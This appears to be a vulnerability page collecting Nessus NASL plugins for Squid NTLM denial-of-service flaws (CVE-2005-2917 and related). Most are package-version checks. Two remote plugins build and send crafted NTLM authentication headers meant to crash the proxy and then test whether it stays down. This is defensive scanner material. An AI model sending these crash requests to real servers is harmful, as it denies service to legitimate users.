Vulnerabilities > CVE-2005-2917 - Unspecified vulnerability in Squid 2.5.9

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Red Hat Security Advisory RHSA-2006:0052 and 
# CentOS Errata and Security Advisory 2006:0052 respectively.
#

include("compat.inc");

if (description)
{
  script_id(21976);
  script_version("1.17");
  script_cvs_date("Date: 2019/10/25 13:36:03");

  script_cve_id("CVE-2005-2917");
  script_bugtraq_id(14977);
  script_xref(name:"RHSA", value:"2006:0052");

  script_name(english:"CentOS 4 : squid (CESA-2006:0052)");
  script_summary(english:"Checks rpm output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote CentOS host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"An updated squid package that fixes a security vulnerability as well
as several issues is now available.

This update has been rated as having moderate security impact by the
Red Hat Security Response Team.

Squid is a high-performance proxy caching server for Web clients,
supporting FTP, gopher, and HTTP data objects.

A denial of service flaw was found in the way squid processes certain
NTLM authentication requests. It is possible for a remote attacker to
crash the Squid server by sending a specially crafted NTLM
authentication request. The Common Vulnerabilities and Exposures
project (cve.mitre.org) assigned the name CVE-2005-2917 to this issue.

The following issues have also been fixed in this update :

* An error introduced in squid-2.5.STABLE6-3.4E.12 can crash Squid
when a user visits a site that has a bit longer DNS record.

* An error introduced in the old package prevented Squid from
returning correct information about large file systems. The new
package is compiled with the IDENT lookup support so that users who
want to use it do not have to recompile it.

* Some authentication helpers needed SETUID rights but did not have
them. If administrators wanted to use cache administrator, they had to
change the SETUID bit manually. The updated package sets this bit so
the new package can be updated without manual intervention from
administrators.

* Squid could not handle a reply from an HTTP server when the reply
began with the new-line character.

* An issue was discovered when a reply from an HTTP server was not
HTTP 1.0 or 1.1 compliant.

* The updated package keeps user-defined error pages when the package
is updated and it adds new ones.

All users of squid should upgrade to this updated package, which
resolves these issues."
  );
  # https://lists.centos.org/pipermail/centos-announce/2006-March/012704.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?77b0fa65"
  );
  # https://lists.centos.org/pipermail/centos-announce/2006-March/012728.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?e137b0d6"
  );
  # https://lists.centos.org/pipermail/centos-announce/2006-March/012735.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?5241de4e"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected squid package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:squid");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:centos:centos:4");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/30");
  script_set_attribute(attribute:"patch_publication_date", value:"2006/03/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/07/05");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"CentOS Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/CentOS/release", "Host/CentOS/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/CentOS/release");
if (isnull(release) || "CentOS" >!< release) audit(AUDIT_OS_NOT, "CentOS");
os_ver = pregmatch(pattern: "CentOS(?: Linux)? release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "CentOS");
os_ver = os_ver[1];
if (! preg(pattern:"^4([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "CentOS 4.x", "CentOS " + os_ver);

if (!get_kb_item("Host/CentOS/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && "ia64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "CentOS", cpu);


flag = 0;
if (rpm_check(release:"CentOS-4", reference:"squid-2.5.STABLE6-3.4E.12")) flag++;


if (flag)
{
  security_report_v4(
    port       : 0,
    severity   : SECURITY_WARNING,
    extra      : rpm_report_get()
  );
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "squid");
}

#
# (C) Tenable Network Security, Inc.
#



include("compat.inc");

if (description) {
  script_id(20010);
  script_version("1.21");

  script_cve_id("CVE-2005-2917");
  script_bugtraq_id(14977);

  script_name(english:"Squid Crafted NTLM Authentication Header DoS");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web proxy server is prone to denial of service attacks." );
 script_set_attribute(attribute:"description", value:
"The version of Squid, an open source web proxy cache, installed on the
remote host will abort if it receives a specially crafted NTLM
challenge packet.  A remote attacker can exploit this issue to stop
the affected application, thereby denying access to legitimate users." );
  # http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE10-NTLM-scheme_assert
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?133a8605" );
 script_set_attribute(attribute:"solution", value:
"Apply the patch referenced in the bug report or upgrade to Squid
2.5.STABLE11 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L");
 script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
 script_set_attribute(attribute:"cvss_score_source", value:"CVE-2005-2917");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2005/10/12");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/09/13");
 script_cvs_date("Date: 2019/04/24  9:46:51");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:squid-cache:squid");
script_end_attributes();

  script_summary(english:"Checks for NTLM authentication denial of service vulnerability in Squid");
  script_category(ACT_DENIAL);
  script_family(english:"Firewalls");
  script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_dependencies("proxy_use.nasl");
  script_require_ports("Services/http_proxy", 8080, 3128);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
# keep the old API for that test
include("http_func.inc");


port = get_service(svc:"http_proxy", default: 3128, exit_on_fail: 1);


# Make sure it's Squid.
soc = open_sock_tcp(port);
if (!soc) exit (0);
req = http_get(
  item:string("http://www.", rand() % 65536, "nessus.test/"),
  port:port
);
send(socket:soc, data:req);
res = http_recv(socket:soc);
close(soc);
if (res == NULL) exit(0);


# If it is...
if ("Server: squid" >< res) {
  # And it's using NTLM authentication...
  if ("Proxy-Authenticate: NTLM" >< res) {
    soc = open_sock_tcp(port);
    if (!soc) exit (0);

    # nb: Squid's authentication protocol is outlined at:
    #     <http://squid.sourceforge.net/ntlm/client_proxy_protocol.html> 

    # Send a negotiate packet.
    negotiate = raw_string(
      "NTLMSSP", 0x00,                          # NTLMSSP identifier
      0x01, 0x00, 0x00, 0x00,                   # NTLMSSP_NEGOTIATE
      0x07, 0x82, 0x08, 0x00,                   # flags
      crap(length:8, data:raw_string(0x00)),    # calling workstation domain (NULL)
      crap(length:8, data:raw_string(0x00)),    # calling workstation name (NULL)
      0x00
    );
    req1 = str_replace(
      string:req,
      find:"User-Agent:",
      replace:string(
        "Proxy-Connection: Keep-Alive\r\n" ,
        "Proxy-Authorization: NTLM ", base64(str:negotiate), "\r\n",
        "User-Agent:"
      )
    );
    send(socket:soc, data:req1);
    res = http_recv(socket:soc);
    if (res == NULL) exit(0);

    # If the server returned a challenge packet...
    if ("Proxy-Authenticate: NTLM Tl" >< res) {
      # Try to crash it.
      req2 = str_replace(
        string:req,
        find:"User-Agent:",
        replace:string(
          "Proxy-Connection: Keep-Alive\r\n" ,
          # nb: a vulnerable server exits w/o a packet.
          "Proxy-Authorization: NTLM\r\n",
          "User-Agent:"
        )
      );
      send(socket:soc, data:req2);
      res = http_recv(socket:soc);

      # If there was no result, make sure it's down.
      if (res == NULL) {
        # There's a problem if we can't reconnect.
        if (service_is_dead(port: port) > 0)
	{
          security_warning(port);
          exit(0);
        }
      }
      else close(soc);
    }
  }
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Red Hat Security Advisory RHSA-2006:0052. The text 
# itself is copyright (C) Red Hat, Inc.
#

include("compat.inc");

if (description)
{
  script_id(21031);
  script_version ("1.23");
  script_cvs_date("Date: 2019/10/25 13:36:11");

  script_cve_id("CVE-2005-2917");
  script_bugtraq_id(14977);
  script_xref(name:"RHSA", value:"2006:0052");

  script_name(english:"RHEL 4 : squid (RHSA-2006:0052)");
  script_summary(english:"Checks the rpm output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Red Hat host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"An updated squid package that fixes a security vulnerability as well
as several issues is now available.

This update has been rated as having moderate security impact by the
Red Hat Security Response Team.

Squid is a high-performance proxy caching server for Web clients,
supporting FTP, gopher, and HTTP data objects.

A denial of service flaw was found in the way squid processes certain
NTLM authentication requests. It is possible for a remote attacker to
crash the Squid server by sending a specially crafted NTLM
authentication request. The Common Vulnerabilities and Exposures
project (cve.mitre.org) assigned the name CVE-2005-2917 to this issue.

The following issues have also been fixed in this update :

* An error introduced in squid-2.5.STABLE6-3.4E.12 can crash Squid
when a user visits a site that has a bit longer DNS record.

* An error introduced in the old package prevented Squid from
returning correct information about large file systems. The new
package is compiled with the IDENT lookup support so that users who
want to use it do not have to recompile it.

* Some authentication helpers needed SETUID rights but did not have
them. If administrators wanted to use cache administrator, they had to
change the SETUID bit manually. The updated package sets this bit so
the new package can be updated without manual intervention from
administrators.

* Squid could not handle a reply from an HTTP server when the reply
began with the new-line character.

* An issue was discovered when a reply from an HTTP server was not
HTTP 1.0 or 1.1 compliant.

* The updated package keeps user-defined error pages when the package
is updated and it adds new ones.

All users of squid should upgrade to this updated package, which
resolves these issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://access.redhat.com/security/cve/cve-2005-2917"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://access.redhat.com/errata/RHSA-2006:0052"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected squid package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:redhat:enterprise_linux:squid");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:redhat:enterprise_linux:4");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/30");
  script_set_attribute(attribute:"patch_publication_date", value:"2006/03/07");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/03/08");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Red Hat Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list", "Host/cpu");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Red Hat" >!< release) audit(AUDIT_OS_NOT, "Red Hat");
os_ver = pregmatch(pattern: "Red Hat Enterprise Linux.*release ([0-9]+(\.[0-9]+)?)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Red Hat");
os_ver = os_ver[1];
if (! preg(pattern:"^4([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Red Hat 4.x", "Red Hat " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$" && "s390" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Red Hat", cpu);

yum_updateinfo = get_kb_item("Host/RedHat/yum-updateinfo");
if (!empty_or_null(yum_updateinfo)) 
{
  rhsa = "RHSA-2006:0052";
  yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);
  if (!empty_or_null(yum_report))
  {
    security_report_v4(
      port       : 0,
      severity   : SECURITY_WARNING,
      extra      : yum_report 
    );
    exit(0);
  }
  else
  {
    audit_message = "affected by Red Hat security advisory " + rhsa;
    audit(AUDIT_OS_NOT, audit_message);
  }
}
else
{
  flag = 0;
  if (rpm_check(release:"RHEL4", reference:"squid-2.5.STABLE6-3.4E.12")) flag++;

  if (flag)
  {
    security_report_v4(
      port       : 0,
      severity   : SECURITY_WARNING,
      extra      : rpm_report_get() + redhat_report_package_caveat()
    );
    exit(0);
  }
  else
  {
    tested = pkg_tests_get();
    if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
    else audit(AUDIT_PACKAGE_NOT_INSTALLED, "squid");
  }
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(21422);
  script_version("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:37");

  script_cve_id("CVE-2005-2917");
  script_bugtraq_id(14977);
  script_xref(name:"Secunia", value:"16992");

  script_name(english:"FreeBSD : squid -- possible denial of service condition regarding NTLM authentication (44e7764c-2614-11da-9e1e-c296ac722cb3)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The squid patches page notes :

Squid may crash with the above error [FATAL: Incorrect scheme in auth
header] when given certain request sentences.

Workaround: disable NTLM authentication."
  );
  # http://www.squid-cache.org/bugs/show_bug.cgi?id=1391
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugs.squid-cache.org/show_bug.cgi?id=1391"
  );
  # http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE10-NTLM-scheme_assert
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?133a8605"
  );
  # https://vuxml.freebsd.org/freebsd/44e7764c-2614-11da-9e1e-c296ac722cb3.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?844fb07b"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:ND/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:squid");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2005/09/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/13");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"squid<2.5.10_6")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include( 'compat.inc' );

if (description) {
  script_id(16163);
  script_version ("1.21");
  script_cve_id("CVE-2005-0096", "CVE-2005-0097");
  script_bugtraq_id(12220, 12324);

  script_name(english:"Squid NTLM Component fakeauth Multiple Remote DoS");
  script_summary(english:"Squid Remote NTLM fakeauth Denial of Service");

   script_set_attribute(
    attribute:'synopsis',
    value:'The remote service is vulnerable to a denial of service.'
  );

  script_set_attribute(
    attribute:'description',
    value:'The remote SQUID server, an open source Proxy server, is vulnerable
to a Denial of Service in the fakeauth NTLM authentication module.

Exploitation of this bug can allow remote attackers to deny access to
legitimate users.

Squid 2.5*-STABLE are reported vulnerable.'
  );

  script_set_attribute(
    attribute:'solution',
    value:'Apply the relevant patch from the vendor advisory.'
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2005-2917");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  # http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE7-fakeauth_auth
  script_set_attribute(
    attribute:'see_also',
    value:'http://www.nessus.org/u?af6b5d37'
  );
  # http://www.squid-cache.org/Versions/v2/2.5/bugs/squid-2.5.STABLE7-fakeauth_auth.patch
  script_set_attribute(
    attribute:'see_also',
    value:'http://www.nessus.org/u?78f21fa1'
  );
 script_set_attribute(attribute:"plugin_publication_date", value: "2005/01/13");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/01/08");
 script_cvs_date("Date: 2019/04/24  9:46:51");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:squid-cache:squid");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Firewalls");
  script_dependencies("proxy_use.nasl");
  script_require_ports("Services/http_proxy", 8080, 3128);

  exit(0);
}

# Keep the old API for that test
include("http_func.inc");
include("misc_func.inc");


# start script

port = get_service(svc:"http_proxy", default: 3128, exit_on_fail: 1);


host = string("http://www.", rand() % 65536, "nessus.test/");
req = string (
       "GET " , host , " HTTP/1.1\r\n" ,
      "Proxy-Connection: Keep-Alive\r\n" ,
      "Host: " , host , "\r\n" ,
      "User-Agent: ", get_kb_item("global_settings/http_user_agent"), "\r\n" ,
      "Pragma: no-cache\r\n");

type1req = string (req , "Proxy-Authorization: NTLM TlRMTVNTUAABAAAAA7IAAAwADAAsAAAADAAMACAAAABOTkVFU1NTU1VVU1NOTkVFU1NTU1VVU1M=\r\n\r\n");

type3req = string (req , "Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAGQAAAAYABgAfAAAAAwADABAAAAADAAMAEwAAAAMAAwAWAAAAAAAAADIAAAAAYIAAE5ORUVTU1NTVVVTU05ORUVTU1NTVVVTU05ORUVTU1NTVVVTU0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==\r\n\r\n");

type3req_attack = string (req , "Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAGQAAAAYABgAfAAAAAwADABAAAAADAAMAEwAAAAMAAwAWAAAAAAAAADIAAAAAYIAAE5ORUVTU1NTVVVTU05ORUVTAFNTVVVTU05ORUVTU1NTVVVTU0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==\r\n\r\n");


soc = open_sock_tcp (port);
if (!soc) exit (0);

# First we send type1 req
send(socket:soc, data:type1req);
r = http_recv(socket:soc);

if (!r) exit(0);


# Checks if SQUID with Proxy-Authenticate: NTLM
if (!egrep(pattern:"^Server: squid/", string:r) || !egrep(pattern:"^Proxy-Authenticate: NTLM", string:r))
  exit(0);

# Now type3req
send(socket:soc, data:type3req);
r = http_recv(socket:soc);

if (!r) exit(0);


close (soc);
soc = open_sock_tcp (port);
if (!soc) exit (0);

# We retry with a malicious request

# First we send type1 req
send(socket:soc, data:type1req);
r = http_recv(socket:soc);

if (!r) exit(0);

# Now type3req
send(socket:soc, data:type3req_attack);
r = http_recv(socket:soc);

if (!r)
  security_warning( port:port );


close (soc);

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Ubuntu Security Notice USN-192-1. The text 
# itself is copyright (C) Canonical, Inc. See 
# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered 
# trademark of Canonical, Inc.
#

include("compat.inc");

if (description)
{
  script_id(20606);
  script_version("1.15");
  script_cvs_date("Date: 2019/08/02 13:33:00");

  script_cve_id("CVE-2005-2917");
  script_xref(name:"USN", value:"192-1");

  script_name(english:"Ubuntu 4.10 / 5.04 : squid vulnerability (USN-192-1)");
  script_summary(english:"Checks dpkg output for updated packages.");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Ubuntu host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Mike Diggins discovered a remote Denial of Service vulnerability in
Squid. Sending specially crafted NTML authentication requests to Squid
caused the server to crash.

Note that Tenable Network Security has extracted the preceding
description block directly from the Ubuntu security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  script_set_attribute(attribute:"solution", value:"Update the affected packages.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:squid");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:squid-cgi");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:squid-common");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:squidclient");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:4.10");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:5.04");

  script_set_attribute(attribute:"patch_publication_date", value:"2005/09/30");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/01/15");
  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/12");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"Ubuntu Security Notice (C) 2005-2019 Canonical, Inc. / NASL script (C) 2006-2016 Tenable Network Security, Inc.");
  script_family(english:"Ubuntu Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/cpu", "Host/Ubuntu", "Host/Ubuntu/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("ubuntu.inc");
include("misc_func.inc");

if ( ! get_kb_item("Host/local_checks_enabled") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/Ubuntu/release");
if ( isnull(release) ) audit(AUDIT_OS_NOT, "Ubuntu");
release = chomp(release);
if (! ereg(pattern:"^(4\.10|5\.04)$", string:release)) audit(AUDIT_OS_NOT, "Ubuntu 4.10 / 5.04", "Ubuntu " + release);
if ( ! get_kb_item("Host/Debian/dpkg-l") ) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Ubuntu", cpu);

flag = 0;

if (ubuntu_check(osver:"4.10", pkgname:"squid", pkgver:"2.5.5-6ubuntu0.11")) flag++;
if (ubuntu_check(osver:"4.10", pkgname:"squid-cgi", pkgver:"2.5.5-6ubuntu0.11")) flag++;
if (ubuntu_check(osver:"4.10", pkgname:"squid-common", pkgver:"2.5.5-6ubuntu0.11")) flag++;
if (ubuntu_check(osver:"4.10", pkgname:"squidclient", pkgver:"2.5.5-6ubuntu0.11")) flag++;
if (ubuntu_check(osver:"5.04", pkgname:"squid", pkgver:"2.5.8-3ubuntu1.4")) flag++;
if (ubuntu_check(osver:"5.04", pkgname:"squid-cgi", pkgver:"2.5.8-3ubuntu1.4")) flag++;
if (ubuntu_check(osver:"5.04", pkgname:"squid-common", pkgver:"2.5.8-3ubuntu1.4")) flag++;
if (ubuntu_check(osver:"5.04", pkgname:"squidclient", pkgver:"2.5.8-3ubuntu1.4")) flag++;

if (flag)
{
  security_report_v4(
    port       : 0,
    severity   : SECURITY_WARNING,
    extra      : ubuntu_report_get()
  );
  exit(0);
}
else
{
  tested = ubuntu_pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "squid / squid-cgi / squid-common / squidclient");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Red Hat Security Advisory RHSA-2006:0045. The text 
# itself is copyright (C) Red Hat, Inc.
#

include("compat.inc");

if (description)
{
  script_id(21087);
  script_version ("1.21");
  script_cvs_date("Date: 2019/10/25 13:36:11");

  script_cve_id("CVE-2005-2917");
  script_xref(name:"RHSA", value:"2006:0045");

  script_name(english:"RHEL 3 : squid (RHSA-2006:0045)");
  script_summary(english:"Checks the rpm output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Red Hat host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Updated squid packages that fix a security vulnerability as well as
several bugs are now available.

This update has been rated as having moderate security impact by the
Red Hat Security Response Team.

Squid is a high-performance proxy caching server for Web clients,
supporting FTP, gopher, and HTTP data objects.

A denial of service flaw was found in the way squid processes certain
NTLM authentication requests. A remote attacker could send a specially
crafted NTLM authentication request which would cause the Squid server
to crash. The Common Vulnerabilities and Exposures project assigned
the name CVE-2005-2917 to this issue.

Several bugs have also been addressed in this update :

* An error introduced in 2.5.STABLE3-6.3E.14 where Squid can crash if
a user visits a site which has a long DNS record.
